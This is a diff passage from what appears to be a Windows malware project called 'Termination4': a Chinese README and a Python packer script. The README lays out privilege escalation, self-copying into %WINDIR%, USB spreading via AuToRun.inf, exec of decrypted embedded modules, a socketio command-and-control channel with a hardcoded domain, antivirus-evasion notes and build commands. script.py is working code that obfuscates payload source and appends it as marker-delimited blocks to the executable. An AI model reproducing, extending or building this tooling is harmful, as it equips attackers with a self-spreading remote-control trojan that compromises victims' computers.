+| 10 | `InFect` | U 盘感染模块,检测新插入的磁盘,创建 `.<Name>` 隐藏目录,写入 `AuToRun.inf` 自动播放 |
+| 11 | `Module` | 从自身二进制或 `./WITH` 文件中按 `START<Module>...END<Module>` 标记提取加密块,使用 `GodKeys` 解密后 `exec` |
+| 12 | `Termination` | 顶层 `main` 控制器:提权 → 加锁 → 复制到 `%WINDIR%\.Termination` → 启动感染 → 加载模块 → 启动网络 |
+
+## 四、运行流程
+
+```
+[启动]
+  └─ Termination.__init__()
+       ├─ InIt_Admin()        # 提权
+       ├─ InIt_Value()        # 初始化版本/路径/锁对象
+       ├─ lock.lock()         # 进程互斥
+       ├─ CopyToSystem()      # 复制到 %WINDIR%\.Termination
+       ├─ InIt_InFect()       # 启动 U 盘感染后台线程
+       └─ SetRun() (异步)
+            ├─ Module.Run()           # 解析并执行 WITH 中的加密模块
+            └─ NetworkProcessings.Polling()   # 与 C2 建立 socketio 长连接
+```
+
+## 五、配置与 C2 协议
+
+默认 C2 地址写在 `Termination.InIt_Value`:
+
+```python
+self.url = "http://wytyh.space3v.work"
+self.app_name = "Termination"
+# 注:源码中 self.version 字段保持为 "4.0.0"(旧内部版本号)
+#     当前实际内部版本为 4.2,见 README 头部说明,代码不再更新
+self.testversion = "beta"
+```
+
+C2 端返回的 `host.json` 至少需要包含:
+
+```json
+{
+  "Host": "http://your-c2-host:port",
+  "NetWork": {
+    "Dir": "/TApi/",
+    "Command": "Command.api",
+    "CommandSend": "CommandSend.api",
+    "Test": "Test.api"
+  }
+}
+```
+
+客户端标识头:`User-Agent: Termination/4.0 (Termination4)`,心跳字段:`PID / MAC / Name`。
+
+## 六、引导块 (`script.py` / `WITH`)
+
+`script.py` 用于把任意 Viper 源码加密并拼成 `STARTBOOT ... ENDBOOT` 格式的引导块,写入 `WITH` 或可执行文件尾部。`Module` 类在运行时按标记提取并解密:
+
+```python
+_  = b""
+_ += b"STARTBOOT"
+_ += g.encrypt(b'{"StartUp":{...}}')     # 启动配置(JSON)
+_ += b"ENDBOOT"
+# _ += b"STARTNetworkProcessings"        # 可选:追加更多加密模块
+# _ += g.encrypt(s)
+# _ += b"ENDNetworkProcessings"
+```
+
+## 七、构建
+
+主程序通过 PyInstaller 打包,配置见 `Termination4.spec`:
+
+```bash
+pyinstaller Termination4.spec
+# 产物: dist/TERMINATION4.exe
+```
+
+测试程序:
+
+```bash
+pyinstaller TEST.spec
+```
+
+## 八、依赖
+
+| 类别 | 包名 |
+| :--- | :--- |
+| 标准库 | `sys / os / ctypes / winreg / subprocess / threading / socket / time / hashlib / uuid / random / shutil / re / json / pickle / base64 / copy / platform / tkinter / traceback / atexit` |
+| 第三方 | `requests`, `socketio`, `psutil`, `keyboard`, `pywin32` (`win32api / win32gui / win32con / win32process`), `cryptography`(Invisible 使用) |
+| 系统 | Windows 7+ (依赖 `shell32` / `kernel32` / `advapi32` 等 Win32 API) |
+
+## 九、注意事项
+
+1. **管理员权限**: 程序需要管理员权限运行,否则 `elevate` 会触发 UAC 重新启动自身。
+2. **杀软对抗**: `killer.py` 是早期的 360 隐藏窗口实验,目前未集成进主流程;在现代 EDR 下行为会被拦截。
+3. **网络重连**: `NetworkProcessings.Try_To_System` 是无限重连循环,程序不会主动退出。
+4. **U 盘传播**: `InFect` 会监控 `psutil.disk_partitions` 的变化,发现新磁盘立即写入 `AuToRun.inf`,请勿在生产环境运行。
+5. **调试建议**: 静态分析优先,使用 `printf` 断点定位崩溃步骤,不要用动态调试器直接跟进 `AppRun._get` 中的 `exec`。
+
+---
+
+如需补充功能、修订协议或新增 C2 模板,请在 Issues 中提出。

script.py

@@ -0,0 +1,81 @@
+import pickle
+import base64
+import os
+
+
+
+class FIO():
+    def openw(self, file, write, mode:int=1, encoding="UTF-8"):
+        if mode == 1:
+            with open(file, "w", encoding=encoding) as f:
+                f.write(write)
+        elif mode == 2:
+            with open(file, "wb") as f:
+                f.write(write)
+    def opena(self, file, write, mode:int=1, encoding="UTF-8"):
+        if mode == 1:
+            with open(file, "a", encoding=encoding) as f:
+                f.write(write)
+        elif mode == 2:
+            with open(file, "ab") as f:
+                f.write(write)
+    def openr(self, file, mode:int=1, encoding="UTF-8"):
+        if mode == 1:
+            with open(file, "r", encoding=encoding) as f:
+                read = f.read()
+        elif mode == 2:
+            with open(file, "rb") as f:
+                read = f.read()
+        return read
+FIO=FIO()
+
+class GodKeys():
+    def __init__(self):
+        self.KEY="""'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-+="""
+    def _SecretKeyEncryption(self, s: str, k: bytes):
+        return self._e(s)
+    def _SecretKeyDecryption(self, s: bytes, k: str):
+        return self._d(s)
+    def encrypt(self, s: str,   k=None):
+        if not k: k=self.KEY
+        return self._SecretKeyEncryption(self.Bytes2Base64(pickle.dumps(s)), k)
+    def decrypt(self, s: bytes, k=None):
+        if not k: k=self.KEY
+        return pickle.loads(self.Base642Bytes(self._SecretKeyDecryption(s, k)))
+    def Bytes2Base64(self, s):
+        return base64.b64encode(s)
+    def Base642Bytes(self, b):
+        return base64.b64decode(b)
+    def _RH(self, hex_str):
+        return ''.join([hex_str[(i + 3) % len(hex_str)] for i in range(len(hex_str))])
+    def _SH(self, rearranged_hex):
+        return ''.join([rearranged_hex[(i - 3) % len(rearranged_hex)] for i in range(len(rearranged_hex))])
+    def _e(self, bytes_data):
+        hex_data = bytes_data.hex()
+        reversed_hex = self._RH(hex_data[::-1])[::-1]
+        return bytes.fromhex(reversed_hex)
+    def _d(self, encrypted_bytes):
+        hex_data = encrypted_bytes.hex()
+        reversed_hex = self._SH(hex_data[::-1])[::-1]
+        return bytes.fromhex(reversed_hex)
+
+
+g=GodKeys()
+s=FIO.openr("./Netio.py")
+s=g.encrypt(s)
+
+_=b""
+#_=FIO.openr("./dist/TERMINATION4.exe", 2)
+
+_+=b"STARTBOOT"
+#_+=g.encrypt(b'{"StartUp":{"NetworkProcessings":{"Globals":[],"Run":{"NetworkProcessings":{"url":"Termination.url","Tasks":"PyTasks"}}}}}')
+_+=g.encrypt(b'{"StartUp":{}}')
+
+_+=b"ENDBOOT"
+#_+=b"STARTNetworkProcessings"
+#_+=g.encrypt(s)
+#_+=b"ENDNetworkProcessings"
+
+
+#FIO.openw("./T.exe", _, 2)
+FIO.openw("./with", _, 2)